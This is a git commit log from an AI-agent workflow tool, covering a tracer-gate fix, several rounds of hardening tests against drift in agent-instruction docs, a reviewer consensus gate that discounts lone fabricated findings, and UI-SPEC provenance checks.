2026-08-23 22:38:12 -04:00
Behruz Nassre Esfahani
622f43353c fix(#3299): tracer feedback gate honors workflow.human_verify_mode (#3390)
* fix(#3299): tracer feedback gate honors workflow.human_verify_mode

The tracer feedback gate (#2294) predates `workflow.human_verify_mode`
(#3309, whose scope was the planner and verifier only), and branched on
auto-mode alone. Under the documented `end-of-phase` default an
interactive run therefore halted after EVERY `type="tracer"` task,
synthesizing a `checkpoint:human-verify` no planner ever emitted and
asking the user to retype a verdict the executor had just computed —
at the cost of a full executor cold-start each time.

Planner-side suppression cannot reach this halt because the executor
synthesizes it at runtime, which is why #3309 did not close it.

The gate now branches on HUMAN_VERIFY_MODE in the interactive path:
under `end-of-phase` an automated-only tracer `<verify>` is re-run and,
on success, expansion continues with no checkpoint. HALT-on-failure is
unchanged. `mid-flight`, `gate="blocking-human"`, and tracers carrying
genuine `<human-check>` evidence all still stop; the autonomous branch
is untouched.

`--default end-of-phase` on the config read is load-bearing, not
decorative: `workflow.human_verify_mode` is absent from SCHEMA_DEFAULTS,
so a bare `config-get` exits non-zero with `Key not found` on any
project whose config.json predates #3309 — which is the reporter's
exact config and every pre-existing project.

Both copies of the rule (workflows/execute-plan.md and
agents/gsd-executor.md) are updated together; the reference doc records
the seam and the human-check-still-halts rationale so it cannot recur.

Fixes #3299

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* chore(#3299): add changeset

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(#3299): reconcile the canonical schema table and the stale acceptance test

Review round 1 (trek-e) — three items, all in the drift class this PR is
about, two of them landed inside this PR's own diff.

1. docs/reference/plan-md.md:233 — CONTEXT.md names this file the canonical
   schema reference for the tracer task-type contract, and its Task-types row
   still claimed interactive runs unconditionally present a
   checkpoint:human-verify. CONTEXT.md and docs/AGENTS.md were updated in the
   first round; this one was missed, so the authoritative reference was the
   wrong answer. The row now carries the human_verify_mode-conditional
   behavior and points at the canonical precedence chain.

2. tests/tracer-bullet.test.cjs — the docs assertion only checked that a
   tracer ROW EXISTS, never its content, which is why CI could not see the
   drift. It now asserts the row's actual claims and rejects the pre-#3299
   wording. Separately, the #1945 acceptance test named 'interactive run emits
   checkpoint:human-verify after the tracer' kept passing only because its
   substrings still occur in the fallback clause, while its name asserted the
   opposite of shipped behavior. Renamed and narrowed to what #1945 still
   guarantees, plus a new interactiveIsConditional pin so the unconditional
   prose cannot be restored under a passing substring check.

3. plan-md.md's <verify> row now documents that the legacy bare-text form
   (valid, and still shown at :179) does not reach the #3299 auto-continue —
   only a <verify> carrying <automated> does — so the benefit is silently
   unreachable for tracers using that format.

Mutation-verified: reverting the plan-md row fails 1 test; reverting the
executor's interactive branch fails 4.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(#3299): make the tracer gate reachable from the planner template, and bind the assertions

Peer review round 3 found two Majors, both verified by reproducing the
mutation before fixing.

MAJOR 1 — the fix was largely inert on its own default path.
agents/gsd-planner.md's Nyquist Rule (:191) says every <verify> includes
<automated>, but the tracer-specific template twelve lines later emitted the
legacy bare-text form. The gate auto-continues only on a <verify> carrying
only <automated>, so every tracer produced from the canonical template fell
to the STOP fallback and #3299's benefit was unreachable for exactly the task
type it targets. Template now wraps in <automated>; a contract assertion pins
it so the two cannot drift apart again.

MAJOR 2 — the new assertions did not bind condition to action.
Appending 'Nevertheless, interactive runs always present a
checkpoint:human-verify' to the canonical row, and 'then immediately STOP and
return a checkpoint:human-verify' to the auto-continue clause in BOTH
operative copies, restored unconditional interactive checkpointing and left
the suite 35/35 green. Every required keyword still matched. Fixed by:

- clause 2 must now contain no STOP outcome and emit no checkpoint at all —
  'never a checkpoint' has to be true OF the clause, not merely stated in it;
- interactiveIsConditional replaced with the ordered-clause parse plus the
  same no-STOP property, instead of proving only that HUMAN_VERIFY_MODE
  appears somewhere on the line;
- the plan-md.md Autonomy cell is now pinned EXACTLY rather than by keyword
  presence. Deliberately brittle: CONTEXT.md names that table the canonical
  schema reference, so a wording change must be a conscious edit in both
  places.

Mutation-verified after the fix: the combined semantic regression now fails 3
tests; reverting the planner template fails 1.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* test(#3299): exact-pin the safety clauses instead of blacklisting outcome verbs

Peer review round 4. Blacklisting did not hold, twice over:

- Round 3 banned literal STOP and the 'return a'/'present a' checkpoint
  forms in the auto-continue clause. Round 4 defeated that by appending
  'then pause and invoke checkpoint_protocol with a checkpoint:human-verify
  before expansion' — none of the banned tokens, same restored interruption
  after every successful tracer. 36/36 passed.
- The planner guard looked for <automated> anywhere inside <verify>, so
  '<verify>[...]<!--<automated>--></verify>' satisfied it while leaving the
  legacy bare form operative. 107/107 passed across tracer, planner and the
  three size-cap suites.

Synonyms are unbounded; the clauses are not. Both are now pinned exactly on
normalized whitespace, the same approach already proven on the plan-md.md
Autonomy cell, with defence-in-depth checks behind them: no checkpoint-emitting
or blocking outcome in any wording inside clause 2, and the planner's <verify>
body must be exactly one non-empty <automated> child with no commented markup.

These pins are deliberately brittle. Each is a safety contract, so changing the
behavior must be a conscious edit in both the prose and the expectation.

Mutation-verified: the synonym-checkpoint mutation fails 1; the commented-out
wrapper fails 1; the round-3 literal-STOP + contradictory-doc-row regression
fails 3.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* test(#3299): strip comments, require uniqueness, pin whole regions

Peer review round 5. Exact-pinning one clause was still bypassable two ways,
both reproduced before fixing (each left the suite fully green):

- COMMENTED DECOYS. Put the correct text in an HTML comment followed by a live
  wrong copy: every extractor selected the commented decoy. Worked against the
  planner template, the canonical plan-md.md row, and both executor branches.
- SURROUNDING OVERRIDE. Insert 'after every tracer, pause and invoke
  checkpoint_protocol before expansion, regardless of the mode-specific rules
  below' immediately ABOVE the pinned clause, or 'ignore row 3; always wait for
  approval' below the canonical table. The pinned text was untouched, so
  equality held while the shipped meaning inverted.

The shape that holds, applied to every operative surface:
  1. strip HTML comments BEFORE selecting, so a decoy cannot be chosen;
  2. require the structural anchor to occur EXACTLY ONCE, so a live second copy
     cannot hide behind a correct first one;
  3. pin the ENTIRE decision region, not one clause, so no unparsed prefix or
     suffix can override what the pin proves.

Applied to: the executor's whole tracer branch, execute-plan.md's whole
dispatch line, checkpoints.md's whole precedence section, and plan-md.md's
Autonomy cell.

Also addresses the round-5 Minor: the planner template is now asserted
STRUCTURALLY (exactly one <verify> in the fenced block, body exactly one
non-empty <automated> child) rather than pinning the descriptive placeholder
verbatim, so behavior-preserving wording changes no longer false-fail. The
clause and section pins keep their exact form — those have a safety rationale
the placeholder copy does not.

Mutation-verified, all six rounds: override-above-clause 1; commented decoy row
1; commented decoy branch 1; ignore-row-3 override 1; synonym checkpoint 1;
commented-out wrapper 2.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* test(#3299): drop the superseded exact-placeholder planner assertion

Peer review round 6, Minor. The round-5 brittleness fix ADDED a structural
planner assertion but left the old exact-placeholder one in place, so the
over-brittleness it was meant to remove was still live: rewording the
descriptive placeholder while preserving exactly one non-empty direct
<automated> child failed the old test and passed the new one.

Removed the old test. The structural assertion is the real contract — the gate
auto-continues on the SHAPE of the verify, not on the wording of a placeholder.

Verified both directions: a behavior-preserving reword now passes; reverting the
template to bare <verify> still fails.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* test(#3299): select operative prose via parsePredicates, not a hand-rolled scanner

Peer review round 7. I had judged the round-6 selector bypass adversarial-only
and out of scope, intending to disclose it. Both premises were wrong, and the
review said so:

- 'Needs new src API' — false. parsePredicates is ALREADY a public export and
  internally uses the repo's interleaved fence/comment scanner. Instrumenting
  candidate lines as throwaway predicate declarations borrows that scanner with
  no src change at all.
- 'Adversarial-only' — false, and this is the part that mattered. Two ORDINARY
  edits silently turned the guards into decoy checks:
    * a forgotten '-->' comments the live rule through to EOF, and the
      balanced-only stripper still saw and accepted the commented rule;
    * a normal fenced documentation example of the rule, plus a whitespace-only
      reformat of the live list item, made the selector choose the example.
  Neither needs intent. A dangling comment is a typo; a fenced example is good
  documentation. Together they reproduce exactly the accidental drift #3299 came
  from — with CI green.

The selection layer now defers to parsePredicates for operativeness, uses
whitespace-tolerant anchors so a reformat cannot decouple the live line from its
pin, extracts regions by operative line index rather than string search, and
carries a self-guard test proving fenced / balanced-commented /
after-unclosed-comment copies are all excluded. The helper also ignores indexes
it did not inject, so a pre-existing GSDTEST.CANDIDATE line cannot pollute it.

Verified both ordinary-edit scenarios now fail the suite (each was green before).

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* test(#3299): close the operative-selection gaps the maintainer blocked on

trek-e's Blocker: the operative-line selection layer had three gaps, all
reachable by ordinary future doc edits rather than sabotage. He independently
found a fourth I had not disclosed. All are fixed.

1. INDENTATION PROMOTION (his find, not in my disclosure). The instrumentation
   replaced a matched candidate with an UNINDENTED marker regardless of the
   original line's indentation. A 4-space-indented CommonMark code block is not
   skipped by parsePredicates (it accepts indented declarations by design), so
   stripping the indent PROMOTED an indented decoy to operative — the exact
   inversion of the guard's purpose. The marker now preserves the original
   indent, and a candidate that is itself indented 4+ spaces is never injected.

2. NO SET MEMBERSHIP. The filter accepted any in-range integer, so a
   pre-existing literal GSDTEST.CANDIDATE=<valid index> in source text could
   pollute the count. Now filters on a Set of the indexes actually injected on
   this call.

3. RAW FENCE SELECTION (planner). The template test matched the first raw
   ```xml fence after the marker with no fence/comment awareness — the one
   selection in the suite that was not operative-aware — so a commented-out
   decoy template between the marker and the real one would be selected while
   the live template regressed. The opener must now be operative AND the first
   non-blank line after the marker.

4. RAW END ANCHOR (regionFrom). The end anchor was tested against raw lines, so
   a fenced example containing a ### / <type line truncated the pinned region
   early — a false FAILURE on a legitimate doc edit. End anchors now go through
   the same operative filter as start anchors.

Mutation-verified: the indented-decoy + whitespace-varied-anchor combination
and the commented-out fence decoy each now fail the suite (both passed clean
before). Truncation is confirmed fixed by extraction — the region spans the
full section and retains the content following a fenced example, where it
previously stopped at it.

Note on the remaining brittleness: adding a fenced example INSIDE a pinned
region still fails the whole-region exact pin. That is the intended tradeoff
for a safety contract, not the truncation defect, and is called out as such.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* test(#3299): allow-list operative indentation; pin marker provenance

Review round 9.

BLOCKER — the round-8 indentation guard was written as a DENY-list,
/^(?: {4,}|\t)/, and CommonMark has more indented-code forms than that
enumerates: " \t", "  \t" and "   \t" all open an indented code block and all
slipped through, so an indented decoy was still promoted to operative while the
live rule regressed (34/34 green). Inverted to an allow-list — only 0-3 literal
spaces is ordinary block indentation; anything else is code. Enumerating the
bad shapes was the error, not the specific regex.

MINOR — the injected-index Set validated the marker's VALUE but not its SOURCE.
A pre-existing literal `GSDTEST.CANDIDATE=<n>` could name an index that some
other (skipped) candidate had contributed to the set, and be accepted. Now also
requires p.line - 1 === Number(p.value): the predicate must have been parsed
from the line it names.

MINOR (false negative) — ```xml title=x is a valid CommonMark info string, and
requiring exactly ```xml failed the suite (33/34) on a behavior-preserving edit.
Both the opener assertion and the extraction now accept an info string.

Mutation-verified: the mixed " \t" decoy and the forged-provenance marker each
now fail; the info-string fence no longer false-fails.

KNOWN LIMITATION, disclosed on the PR rather than papered over: parsePredicates
is a predicate parser, not a general CommonMark operativeness oracle. Two
standards-valid constructs still read as operative — a lazy blockquote
continuation line (state opens only on a line that literally starts with ">"),
and a comment opened mid-line ("prose <!--", where state opens only when the
trimmed line STARTS with "<!--"). Closing those means either teaching the shared
src/context-predicates.cts about container/lazy-continuation state — a change to
a module every health rule consumes, well outside a tracer-gate fix — or
hand-rolling a CommonMark parser inside a test, which is how this suite got into
trouble in the first place. Left for the maintainer to scope.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* chore(#3299): re-arm the execute-plan.md emitted-drift ack after the base merge

The #3299 ack rode on tests/emitted-drift-acks/2652-quick-diagnose-dispatch-isolation.json,
which upstream retired in 362d0434b (#3370) once #2728's entries were spent.
#3370's own fragment now owns execute-plan.md at the base, so a new
3299-*.json naming that path would collide — mergeAckSources rejects a
duplicate key across fragments rather than silently last-winning.

Re-arms #3370's entry instead, the mechanism the gate is built for (a spent
ack whose reason changes in the diff is live again), carrying #3370's own
reason forward verbatim so the base growth keeps its account.

Verified: emitted-attribution 175/175 against origin/next@be9329b10.

* fix(#3299): honor golden rule 6 in the tracer gate, extract the chain

Addresses the review on #3390 (B1-B3, M1-M4, minors).

B3 — checkpoints.md asserted two incompatible rules about the same gate.
Golden rule 6 says gate="blocking-human" stops for a human in every mode;
the precedence table scoped row 1 to interactive runs, so a first-match
chain let an auto-mode tracer carrying that gate fall to row 2 and
auto-continue. Rule 6 wins: row 1 is now "Any run, any mode", the
justification sentence it falsified is gone, and the STOP is evaluated
before the auto-mode branch at all three dispatch sites — gsd-executor.md,
execute-plan.md and the plan-md.md schema row. Unreachable by our planner
is not unreachable: src/verify.cts parses only `type` and never consults
`gate` on non-checkpoint tasks, so an imported PLAN.md can carry it.

B1 — the LARGE-tier cap. gsd-executor.md is 49150 on next against a 49152
cap, so this PR could not add a byte. Extracted rather than trimmed: the
precedence chain now lives only in checkpoints.md (already @-imported by
<checkpoint_protocol>, so no new load), and the duplicate summary inside
that protocol section is a pointer. The rationale the earlier trim
deleted is restored — "production-quality, never a throwaway" and
"Pouring more layers onto a broken foundation...". Result 49097: 55 bytes
under the cap and a net 53-byte REDUCTION against next, so the PR returns
headroom instead of consuming it.

B2 — merged upstream/next and resolved all three drift-ack conflicts.
2775 changed shape upstream (string -> {reason}); adopted the new form.

M1 — the 2775 ack claimed the Nyquist Rule sat "twelve lines earlier"; it
is ~75 lines. Corrected to "earlier in the file".
M2 — ack arithmetic restated from measurement, not from a stale base. The
2943 #3299 append is DELETED: with gsd-executor.md now shrinking there is
no ripple to acknowledge, and emitted-attribution correctly flagged the
entry as stale.
M3 — changeset rewritten to the documented bold-lead + em-dash one-liner.
M4 — the two self-defeated shapes are gone. The planner-human-verify-mode
presence checks now go through operativeLineIndexes. The config-get check
does NOT: all three reads live inside ```bash fences, which is their
correct executable form, and that selector excludes fenced lines by
design. It instead pins exactly one live, uncommented, fenced read per
file — mutation-tested against both a commented-out read and a duplicate.

Minors — dangling colon lead-in dropped, a "below" pointer that pointed
above corrected, and the `(default)` asymmetry between the two dispatch
copies aligned.

Two defects the merge surfaced, both caught only by the full suite:
the new #3576 gate rejected this PR's own bare `references/checkpoints.md`
cite in planner-human-verify-mode.md (rewritten to the canonical
gsd-core/ form), and the line-keyed PROSE_ALLOWLIST entry for
gsd-executor.md needed 794 -> 795 after this change shifted the line.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(#3299): correct the size record the 08-22 merge falsified

Review round: one Major, four Minors.

Major — the #3299 arm's arithmetic was measured before the merge and is
now wrong in a document whose whole purpose is to be an accurate size
record. Re-measured at head: execute-plan.md is 39315 B on next and
40111 B here, so the 796-byte delta was right but the endpoints and the
headroom were not (849 bytes against DEFAULT_CAP 40960, not 1003). The
superseded figures are named rather than silently replaced. Confirmed
the workflow cap counts LF BYTES while the agent cap counts CHARACTERS —
two caps in two units, one per file.

Minor 1 — 2943-context7-tool-name.json reverted to next. JSON.parse of
both sides was already identical; the diff was an em-dash/times-sign
re-serialization left over from adding and then removing the #3299 arm.
No business in this PR.

Minor 2 — the duplicated `tracer row Autonomy cell` test is gone. Both
copies were new here and carried the same ~8-line canonical string; the
one removed selected its row with a raw startsWith find, the shape this
suite records at :477 as defeated in round 1. Its rationale — why the
cell is pinned EXACTLY, and the append-a-contradiction attack that
defeated keyword matching — is carried onto the surviving fence-aware
copy rather than deleted with it.

Minor 3 — the executor's condensed interactive clause said only "re-run,
continue", which does not distinguish pass from fail; read in isolation
it invites expansion onto a broken slice, the outcome the gate exists to
prevent. Now "re-run; fails → HALT as above, passes → continue, no
checkpoint". The pinned expected string moved with it. Executor at
48,905 chars, 247 under the cap.

Minor 4 — 2775 asserted two different current sizes for gsd-planner.md.
The stale half is next's own text taken wholesale, so the contradiction
was inherited; it now reads as a before-figure rather than a current one.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(#3299): cite the plan-md example by section, not by a drifting line

Review round 7, Nit N-1. The 2775 ack fragment justified its one-line
formatting with "matching docs/reference/plan-md.md:207's own example
style". At head, :207 is prose; the one-line <verify><automated>
example it means is at :222. The citation was accurate when written
(77c2fda, f23205c) and drifted with a later merge of next.

Re-pointed by section rather than by line — it has already drifted
once, and the fragment's whole purpose is to be an accurate record —
and the drift itself is recorded inline so the correction does not
quietly overwrite what the earlier number said.

Also narrows the changeset's "any task with gate=blocking-human" to
"any tracer carrying gate=blocking-human" (found by Codex in the
whole-PR pass). Golden rule 6 and the #3299 decision table both scope
that gate to checkpoints and to the tracer feedback gate; the normal
type="auto" branch never inspects `gate`, so the wider claim promised
behavior the implementation does not have.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(#3299): answer fence-delimiter liveness by insertion, not replacement

Review round 9. The round-8 fence-awareness fix was itself unsound, in the same
class it was added to close.

`operativeLineIndexes` detects operative lines by REPLACING each candidate with
a throwaway predicate declaration and asking `parsePredicates` which survived.
Sound for ordinary content lines. Not sound for a fence DELIMITER, which is
exactly what the tracer-template selection passed it: deleting every ```xml
OPENER leaves each matching closer to become an opener, and since
`computeSkippedLineFlags` is a strict FORWARD state machine, fence parity
inverts for the whole remainder of the document.

Measured against the real file rather than argued:

  agents/gsd-planner.md has 3 live top-level ```xml openers — 0-based 180, 232,
  262. operativeLineIndexes reported 180 and 262. Line 232, the "Task-level TDD"
  example, read NON-OPERATIVE — a wrong answer from a helper whose only job is
  that question.

It passed only by parity coincidence, and one extra live example anywhere
earlier flipped it to a false FAILURE blaming a decoy that does not exist:

  HEAD as-is                  | anchor 260 | openIdx 262 | ASSERTION PASSES
  +1 unrelated ```xml example | anchor 265 | openIdx 267 | ASSERTION *** FAILS ***

Fixed by asking the question a way that perturbs nothing. `isOperativePosition`
INSERTS a marker on its own line immediately before the candidate instead of
replacing it. Insertion preserves every delimiter, and because the skip-state
machine runs strictly forward, a line inserted at `idx` observes exactly the
fence/comment state the candidate observes, with nothing but the marker between
them — so marker-operative IS the candidate's position-liveness.

The review's suggested direction (substitute a same-shaped opener that still
opens a fence) cannot work here: the marker would then be inside the fence and
would never parse as a predicate at all.

Position-liveness is not content-liveness, so the helper also rejects a line
that is entirely comment (`<!-- ```xml -->`), rather than leaving that to each
caller's own shape test to happen to exclude.

`operativeLineIndexes` now THROWS when its candidate regex matches a fence
delimiter, so the unsound route cannot be reached again by a future caller
rather than only being fixed at the one site that got it wrong.

Verified with the same extra-example scenario above: with the fix, all 35 rows
stay green. Teeth: reverting the call site to `operativeLineSet` turns the
tracer-template row red on the new guard. The regression row pins both live
openers (the second is the one the deletion route lost), the block-commented
and same-line-commented openers, a line inside a fence, and re-checks both
openers after unrelated lines shift above them.

Only tests/tracer-bullet.test.cjs changes — no agent file is touched, so the
5-char gsd-planner.md and 19-byte gsd-executor.md headroom are unaffected.

Verified: `npm run lint:ci` exit 0; full `npm test` 31307 tests / 31292 pass /
0 fail / 14 skipped, TMPDIR unset, against a freshly synced origin/next.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(#3299): guard the delimiter class, match the scanner, pin the assignment

Codex full-PR review of #3390, run against the round-9 head. Three defects,
two of them in the code that round added.

1. The mode-read pin survived the regression it exists to catch.
   `READ` matched the config-get substring only, so rewriting the shipped line
   as `IGNORED_MODE=$(gsd_run query config-get ...)` kept the row green while
   nothing defined HUMAN_VERIFY_MODE — the gate falls through to STOP and #3299
   is back with the suite passing. The regex now requires the assignment. A
   lookahead after `end-of-phase` closes the other half: the bare prefix also
   accepted `--default end-of-phase-wrong`. Proven by mutation: renaming the
   variable in agents/gsd-executor.md now turns that row red, and did not before.

2. The round-9 fence-delimiter guard was a SAMPLE of the class, not the class.
   It probed a fixed list of five delimiter strings. `~~~xml`, ```json, `~~~~`
   and arbitrary info strings all walk past any list short enough to write down
   — the guard was added precisely because one such regex had already slipped
   through. Now matched against the lines the regex actually selects in the
   document, which cannot go stale and cannot miss a spelling nobody thought of.
   Four such spellings pinned as rows.

3. `isOperativePosition` disagreed with the scanner it delegates to.
   For `<!-- closed --> real content` it stripped the span, found surviving
   content, and answered "live". `computeSkippedLineFlags` skips an ENTIRE line
   whose trimmed text starts with `<!--`, balanced or not, before it considers
   fences at all. Verified directly against parsePredicates. It now applies the
   scanner's own rule instead of out-reasoning it. Latent for the present caller
   (its anchored ```xml shape cannot match a comment-prefixed line), real in
   general.

Disclosed rather than fixed, and raised with the maintainer: the exact executor
region pin ends before the second operative tracer-gate paragraph at
agents/gsd-executor.md:327, which is only heading-checked — so contradictory
later instructions could ship. How much of that file to pin is a call for its
owner.

Independently probed isOperativePosition across 19 edge cases before the review
(line 0, CRLF, tab / 4-space / mixed " \t" indentation, 0-3 space fences, nested
fences, ~~~ fences, info strings, bounds); all correct. That probe is what
surfaced finding 2, which the review then confirmed from the other direction.

Verified: `npm run lint:ci` exit 0; full `npm test` 31296 tests / 31281 pass /
0 fail / 14 skipped, TMPDIR unset. One caveat stated rather than smoothed over:
in that run tests/planning-snapshot.test.cjs was truncated by concurrency after
row A5 — 11 tests did not execute, which a 0-fail aggregate cannot show. Re-run
in isolation it is 87 tests / 87 pass / 0 fail, and it is untouched by this
change.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
Co-authored-by: Tom Boucher <trekkie@nomorestars.com>
2026-08-23 18:43:53 -04:00
Tom Boucher
738f42f4fd feat(#2398): consensus gate for CYCLE_SUMMARY on multi-reviewer runs (#3755)
* test(#2398): failing-first suite for the CYCLE_SUMMARY consensus gate

Binds the gate before it exists, so the suite is RED against next.

The load-bearing rows are the two the closed PR #2417 did not have. The B2
regression row asserts a judgment-class lone HIGH counts WITHOUT corroboration
when its raiser is unmarked — if anyone re-couples that class to corroboration,
more reviewers again produce a weaker gate than one, which is what closed #2417.
The parity row asserts every marker literal the gate names is one
review-lane-runner actually emits, so the gate cannot key on a signal nothing
produces; a mutation row and a seeded fast-check property prove that guard runs
its failure branch rather than only reading a correct tree.

Also pinned: gate position before Counting rules, the untouched CYCLE_SUMMARY
line shape the orchestrator greps, fence balance, the single-reviewer no-op,
classification by what a claim asserts rather than by citation presence, the
all-marked fail-open, current_actionable staying out of scope, and the
leading-marker requirement that stops a review which merely quotes a marker
from suppressing its own findings.

* feat(#2398): consensus gate for CYCLE_SUMMARY on multi-reviewer runs

With review.reviewer_instances running several reviewer identities off one
adapter, any single instance's fabricated HIGH could force a full replan cycle
on its own. Across ~9 real cycles on two projects each of four instances
fabricated at least once, and each was also the most accurate reviewer in some
other cycle, so dropping to fewer reviewers trades away real signal.

The gate engages only when 2+ reviewers actually ran, and weighs a lone HIGH by
what the claim asserts rather than by whether anyone agreed with it. An
existence claim -- a symbol, file, flag, commit or ID exists, is absent, or says
something specific -- counts only if source-grounding confirms it or another
reviewer raised the same concern. A judgment claim -- a design or correctness
property -- counts unless that reviewer's own section opens with an
evidence-quality discount marker the review lane already stamps
([reviewed-without-source-citations] #3194, [reviewed-without-repo-access]
#2176, or a diff-only lane).

That split is what resolves B2, the finding that closed PR #2417. B2 showed the
approved wording made more reviewers produce a WEAKER gate than one: condition
(a) pointed at the source-grounding pass, which verifies every symbol THE PLAN
cites and never takes reviewer claims as input, so a genuine architectural HIGH
that one reviewer caught and another missed was neither groundable nor
corroborated and stopped gating. Judgment-class findings are therefore exempt
from corroboration entirely -- reviewers catch materially different classes of
issue, and demanding two of them independently raise the same architectural
concern suppresses exactly what a multi-reviewer setup exists to surface.

Guards on the gate itself: an all-marked cycle disengages it, so a cycle in
which nothing was verified can never be counted as converged; the marker must
OPEN a reviewer's section, so a review that merely quotes a marker does not
suppress its own findings; a suppressed HIGH stays listed and tagged rather
than dropped; current_actionable is untouched; and a single-reviewer run is
unchanged.

No new command, config key, or dependency -- the gate reads signals that
already exist. The CYCLE_SUMMARY line shape the orchestrator greps is
unchanged; only the integer it computes moves, and only for 2+ reviewers.

Known limit, inherited rather than introduced: SOURCE_CITATION_RE checks
citation presence, not resolution, which src/review-lane-runner.cts records as
a deliberate #3194 scope boundary. A fabricated but plausible file:line still
gates.

Scope revised and re-approved on the issue before any code was written.

* test(#2398): make marker parity behavioral, and stop overclaiming the gate

Review found the parity tests were vacuous: they asserted a marker STRING
appeared in review-lane-runner.cjs's source text, never requiring the module or
calling the stampers, so they would pass even if stampUngroundedReview were
broken or never invoked. They now invoke the real exported functions and assert
what those functions PRODUCE — that an uncited review gains a leading marker
blockquote, that a review carrying a file:line does not, that a self-reported
blind review is stamped, and that stamping is idempotent. Removing the source
read also removes an incidental no-source-grep evasion via a parameterized path.

Review also found the changeset headline false for the class it matters most
in. The discount markers detect 'cited nothing' and 'had no repo access'; they
cannot detect 'drew a wrong conclusion from a real citation', so a judgment-class
finding invented by an evidence-bearing reviewer still counts alone. That is the
deliberate side of the tradeoff jags-faith named when closing #2417 — the
alternative is requiring corroboration for design findings, which is B2 — but
the changeset claimed lone hallucinations no longer force a cycle, full stop.
Corrected there, and stated plainly in docs/COMMANDS.md and the design record.

Also dropped the reviewer-instances.md entry from the emitted-drift ack: the
growth ratchet's currentSizes() scans only gsd-core/workflows/ and agents/
(tests/helpers/emitted-runtime.cjs:916-929), so references/ is outside it and
that entry acknowledged a delta the gate cannot see.

* chore(#2398): backfill changeset pr number to 3755

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Co-authored-by: sim <sim@local>
2026-08-22 10:53:14 -04:00
Tom Boucher
4918c62d76 feat(#2845): require provenance for UI-SPEC component inventories (#3745)
* test(#2845): failing-first suite for UI-SPEC inventory provenance

Binds two shared formats before either exists, so the suite is RED against
next: the gsd-ui-checker dimension roster (asserted independently on twelve
surfaces, eight English and four translated) and the provenance-line grammar
the UI-SPEC template emits and Dimension 7 consumes.

Every parity assertion is paired with a synthetic mutation case, so the guard's
failure branch executes rather than only reading a correct tree: limit-1 (a
surface still declaring 6), limit (7), limit+1 (8), a dropped dimension, a
label that drifts on one surface only, a non-contiguous roster, a duplicated
number, and a surface that stops declaring a count at all. A seeded fast-check
property renders the roster under formatting noise (CRLF, padding, interleaved
sections) and asserts the parse round-trips and is strictly sensitive to a
dropped heading.

Assertions are on parsed typed records, never raw substrings.

* docs: normalize design-a-ui-phase how-to to American English

House style for docs/ is American English (CLAUDE.md). This file carried
colour/initialisation/initialise/artefact throughout. Spelling only — no
content change; kept separate from the #2845 feature commit so the
release-notes classifier and the hotfix cherry-pick filter see it for what
it is.

* feat(#2845): require provenance for UI-SPEC component inventories

A UI-SPEC's component inventory was treated downstream as a closed allowlist
while the document recorded nothing about whether the list had been enumerated
from the installed design system or recalled from memory. A recalled inventory
is indistinguishable from an enumerated one, so an executor complying with the
spec builds against a fraction of what the package offers, and every gate stays
green because they assert semantics rather than composition.

The UI-SPEC template gains a Component Inventory slot carrying one of two
provenance lines: the command that enumerated the list, the count it returned,
the resolved package@version and the date; or a Could not enumerate record with
a real reason. gsd-ui-researcher gains an enumeration ladder and must record
the line rather than write the list from recall.

gsd-ui-checker gains Dimension 7. An inventory with no provenance line, a count
with no command, an empty could-not-enumerate reason, or a line still carrying
the template's unfilled placeholders BLOCKs; a partial line, a line placed below
its table, or an honest negative record FLAGs; a complete line passes, and so
does a spec carrying no inventory at all, which keeps every UI-SPEC predating
the dimension validating unchanged. Whatever the verdict, an unsourced inventory
is reported as a non-exhaustive list of known-good components rather than a
closed allowlist, so the executor is never blocked from a component the spec
merely failed to mention. The checker never runs the recorded command.

The dimension count moved on all thirteen surfaces that assert it, across five
languages. Also corrects the claim in the English, Korean and Portuguese how-tos
that this checker applies a scored six-pillar rubric — that rubric belongs to
/gsd-ui-review's retroactive audit.

* chore(#2845): backfill changeset pr number to 3745

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Co-authored-by: sim <sim@local>
2026-08-21 11:59:56 -04:00
Tom Boucher
2b42b28687 fix(#3659): make the worktree base-check trust evidence, not baseRef (#3736)
* test(#3659): baseref-head suppress must be mode-aware regression rows

* fix(#3659): make baseref-head suppress mode-aware and thread isolation mode

* fix(#3659): review fixes - stale advice purge, message pins, mode alias

* fix(#3659): pick-interceptable emit seam, ack merge, writeSync pin

* test(#3659): rewrite set-baseref pin, fix writeSync row stub

* chore(#3659): backfill changeset pr number

---------

Co-authored-by: sim <sim@local>
2026-08-21 04:58:33 -04:00
Tom Boucher
9a69a86f42 enhance(#2971): strict planning filter mode for /gsd-pr-branch (#3720)
* test(#2971): failing-first suite for the pr-branch planning-path filter

Binds the not-yet-built planning.pr_strict mode and the corrected filter recipe
for /gsd-pr-branch across six layers: pure classification and forbidden-path
predicates, real-git fixtures that run the cherry-pick filter loop end to end,
config-key registration through the real CLI and both manifests, the executed
worktree-materialization claim the issue's triage asked to establish, fast-check
properties over arbitrary path sets, and a drift guard over the shipped workflow.

Two live defects in today's shipped recipe are pinned as regressions, both
reproduced empirically first: `git rm -r --cached` stages a deletion of any
.planning/ path the target branch already tracks, so the generated PR removes the
base branch's planning files; and the same command leaves the cherry-picked file
untracked on disk, so a second commit touching that path aborts the pick with
"untracked working tree files would be overwritten" and every remaining commit is
silently dropped.

The test helper parses the canonical path lists out of gsd-core/workflows/pr-branch.md
rather than restating them, so the workflow stays the single source of truth and the
suite cannot drift from what ships.

Refs #2971

* feat(#2971): strict planning filter mode for /gsd-pr-branch

Adds planning.pr_strict — a boolean, default false, that selects what
/gsd-pr-branch means by "filtered". Default mode is unchanged: structural
planning state survives into the PR branch and the nine transient
